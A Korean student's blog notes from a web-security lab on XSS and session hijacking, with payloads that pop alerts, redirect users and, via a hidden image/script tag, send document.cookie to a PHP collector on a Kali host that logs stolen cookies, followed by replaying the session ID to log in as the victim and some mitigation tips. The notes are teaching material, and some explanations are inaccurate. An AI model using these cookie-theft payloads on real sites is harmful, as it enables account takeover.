Web Security DAY_005 XSS , Session Hijacking , 쿠키를 통한 세션탈취 , 세션 하이제킹 , reflect XSS , stored XSS , 스크립트 공격 , 세션공격, 세션탈취 , kali로 세션탈취공격, Cross Site Scripting Attack

2024. 1. 23. 18:26Information Security 정보보안/Web Security 웹 보안

728x90

배울내용:

XSS

Session Hijacking

쿠키를 통한 세션탈취

세션 하이제킹

reflect XSS

stored XSS

스크립트 공격

세션공격

세션탈취

kali로 세션탈취공격

Cross Site Scripting Attack 

 

 

 

 

 

 

 

제가 지금 부터 작성하는 모든글은 제가 공부기록용이기 때문에 정확하지 않을수 있음을 알려드립니다.

틀린게 있으면 댓글로 써주시면 고치겠습니다.

 

 

 

 

 

XSS 공격 (Cross Site Scripting Attack ) 

 

자바 스크립트 등을 써서 공격자가 의도한대로 사용자를 유도하는 공격

 

 

먼저 이전에 만든 홈페이지로 먼저 간다 

 

만약 아직 안만들었다면 

홈페이지 만드는것은 아래의 링크로 가보자 (그냥 VM 다운만해도됨) 

 

https://sarimus.tistory.com/53

 

Web Security DAY_004 랜섬웨어 , ransomware attack , SQL Injection , SQL 인젝션 , 웹페이지 만들기 , 웹 해킹 예

배울내용: 랜섬웨어 ransomware attack SQL Injection SQL 인젝션 웹페이지 만들기 웹 해킹 예시 쿠키 탈취 session hijacking 세션 하이제킹 웹 모의 해킹 제가 지금 부터 작성하는 모든글은 제가 공부기록용이

sarimus.tistory.com

 

 

 

#1 경고창 [경고문 띄우기]

<script> alert("안녕하세요")</script>
<script> alert(document.cookie)</script>

 

위에것을 

 

 

 

 

게시판에 등록해주고 글을 확인하려고 보면 

 

 

 

 

 

쿠키값이 나오는걸 볼수있다 

 

 

 

 

12pmv7...94 여기부분을 복사해서 저장해둔뒤에 

 

 

 

 

 

새로운 창을열어

이번에는 로그인이 안된 상태에서 

쿠키값을 이용해서 로그인 해볼것이다 

 

 

 

 

 

 

이렇게 1개는 로그인 되어있고

1개는 로그인이 안되어있는걸 볼수있다

 

 

 

그러나 아까 우리가 복사해둔 Session ID 를 

 

 

 

 

 

 

 

로그인 안된 페이지에서 개발자도구에 Cookies 에 있는 곳에 들어가면

Value 라고 있는곳에 붙여넣기 한다음에 F5 를 눌러준다 

 

 

 

 

 

 

 

 

 

 

 

 

그러면 이렇게 동일한 계정으로 로그인이 된걸 볼수있다 

 

 

 

 

요약하면 

XSS 공격으로 session ID 쿠키값얻은뒤 
 다른 id 로 192.168.10.100 간뒤에 쿠키값을 바꿔서

 로그인하면 기존 id 의 것으로 로그인되는데 
이때  회원정보 수정 해버리면 수정되버린다 

 

 

 

 

 

로그인 정보를 가지고있는 쿠키를 우리는 이러한 javascript 를 이용해서 

보이게 만들어서 악용하게 되는것이다 

 

 


자바스크립트를 써서 공격자가 의도한대로 사용자를 유도하는 공격인

XSS 공격의 하나이다 

 

 

 

 

 

 

 

 

XSS 공격에는 다양한 종류가 있는데 

 

XSS(Cross Site Scripting) 공격 
자바 스크립트 등을 써서 공격자가 의도한대로 사용자를 유도하는 공격

 

 

 

 


Stored XSS (Persistent XSS , 저장 XSS) ( 게시판같은거 ) 
웹서버에 악성 스크립트를 영속적으로 저장해 놓는 방법
클라이언트는 저장된 스크립트를 통해서 공격자의 의도대로 실행됨 

 

 

 

 

 


reflected XSS (반사 XSS)
지정된 파라미터를 사용할 때 발생하는 취약점을 이용하는공격
매개체를 통해서 공격되는 XSS 공격 

다른원격지에 있는 호출지로 집어넣으면 
공격자가 의도한대로 명령을 실행해 저장하는 방법이라생각하면된다 

 

 

 

 

 


DOM based XSS (문서 객체 모델 - 기반 XSS)
문서내에 있는 태그나 링크들을 클릭하여 전달되는 XSS)

문서안에 http://192.168.10.100 이라는걸 입력하면 
192.168.10.100 으로 연결되는것 

 

 

 

Universal XSS
브라우저 안에서 실행하는 XSS 
url에다가 직접 넣어서 실행

 

 

 

이러한 XSS 공격들이 있고 

 

코드를 사용해서 공격자의 의도대로 사용자를 유도한 것이란걸 알수있다 

 

 

 

 

 

 

세션이 뭐고 쿠키가 뭐였지? 

 


#세션 
요청자와 서버간에 네트워크 연결이 유지되고 있는 상태 또는 연결창 이자 저장공간

 

#쿠키 

서버측에서 요청자측 상태정보를 저장하고 추출하기 위해 기록두는 메모장
클라이언트 요청시 서버는 쿠키의 세션ID 를 통해 해당 ID의 세션 정보를 전달해줌 

 

 

이 두개는 정말정말 중요하니 잘 기억 해두도록 하자 

 

 

 

 

너무 길면 이렇게 보면된다 

 

쿠키와 세션의 차이 
세션 : 실제 사용자의 연결된 정보
쿠키 : 세션을 받기위한 클라이언트 인식값

 

 

 

 

 

 

XSS(Cross Site Scripting) 공격  

 

1. 클릭시 웹페이지 이동 

이제 다시 글작성하기해서
<a href="http://www.naver.com">로또당첨확인 </a>
이렇게 하고 저장 그리고 열어보면 


2 그림추가
<img src = "https://media.bunjang.co.kr/product/233392017_1_1692231420_w360.jpg">


3 그림 클릭
<a href="http://www.naver.com"><img src = "https://media.bunjang.co.kr/product/233392017_1_1692231420_w360.jpg"> </a>


4 홈페이지 iframe
<iframe src="https://www.nate.com" width="800" height="800" frameborder="10"></iframe>


5. 유튜브 
<iframe width="560" height="315" src="https://www.youtube.com/embed/wl8ndJpS5C8?si=6Ly08RdzzRZqC76J"autoplay;></iframe>

 

 

이런식으로 되어있는게 있지만 
여기까지는 클릭을 해야지만 넘어간다 

 

 

 

 

Stored XSS

 

그러나 이렇게 쓰면 

 

<script location.href ="https://www.naver.com"></script> 

 


 1번만 클릭해도 naver로 넘어간다

이게  저장 XSS 공격이다

 

 

 

 

 

 

 

세션 하이재킹 (session hijacking)

 

 

 

Kali 에서 아래의 경로에 getcookie.php 만든뒤에 글작성후 저장해준다 


cd /var/www/html
vi getcookie.php

<?php
$fd=fopen("/sevas/cookie.dat","a+") or die ("can't open file");
fputs($fd,$_SERVER['REMOTE_ADDR']."Cookie is {$_GET["cookie"]}  \n" );
fclose($fd);
?>




 cd /var/www/html
    service apache2 restart
    mkdir /sevas
    chmod 777 /sevas
    cd /sevas

 

 

 

 

url 에 이렇게 (centserver 주소 /getcookie.php) 하면 

 

아래와 같이 나온다 

 

 

 


cat cookie.dat 다시하면 

 

 

이렇게 나온다 

 

 

 

 

 

 


그리곤 다시 홈페이지 게시판에 와서 

 

 


<img name="i" width="0" height="0"> </img> <script> i.src="http://192.168.10.10/getcookie.php?cookie="+document.cookie</script>

 

이렇게 입력하고 저장하면 

 

 


이렇게 글내용에 아무것도 안보이게 되는데 

 

Kali에 다시 들어와서 cat cookie.php 하면

 

 

 

이렇게 나온다 

 

 

 

그러면 세션정보로 로그인하면 

세션 하이제킹을 성공한것이다 

 

그리고 이걸 
Reflected XSS  공격 이라고한다 

 

 

 

이공격은 약 7 년전까지만해도

네이버 , 페이스북, 구글에 쓰였다 (공격이 먹혔다) 

 

 

 

 

그러면 이걸 방지를 어떻게 해야할까? 

 

 

 

 

 

쿠키를 통한 세션탈취를 방지하기 위한방법

1 중요한 단계나 사이트갱신시 쿠키를 재갱신하여 이전쿠키로 세션정보를 사용할수 없도록함


2. 중복 로그인 방지 (약한보안, 내가 안쓸때 들어올수있음)


3. 쿠키에 대한 세션 유효시간 설정


4. 로그아웃과 같은 수단 활용 쿠키를 사용후 세션만료를 할수 있도록하여 세션 재사용 불가 

 

 


결론: 쿠키 재사용 X 해야한다 

 

 

 

 

 

TMI 로 세션토큰을 써서 보안을 요즘에는 강화했다는데

근래에 취약점이 발견이 되었다고한다 

( 이것도 뚫렸단뜻 )

 

 

 

 

그럼 ~ 오늘 수업한걸 잘 기억하도록 하자

그럼  20000~ 

 

 

 

 

728x90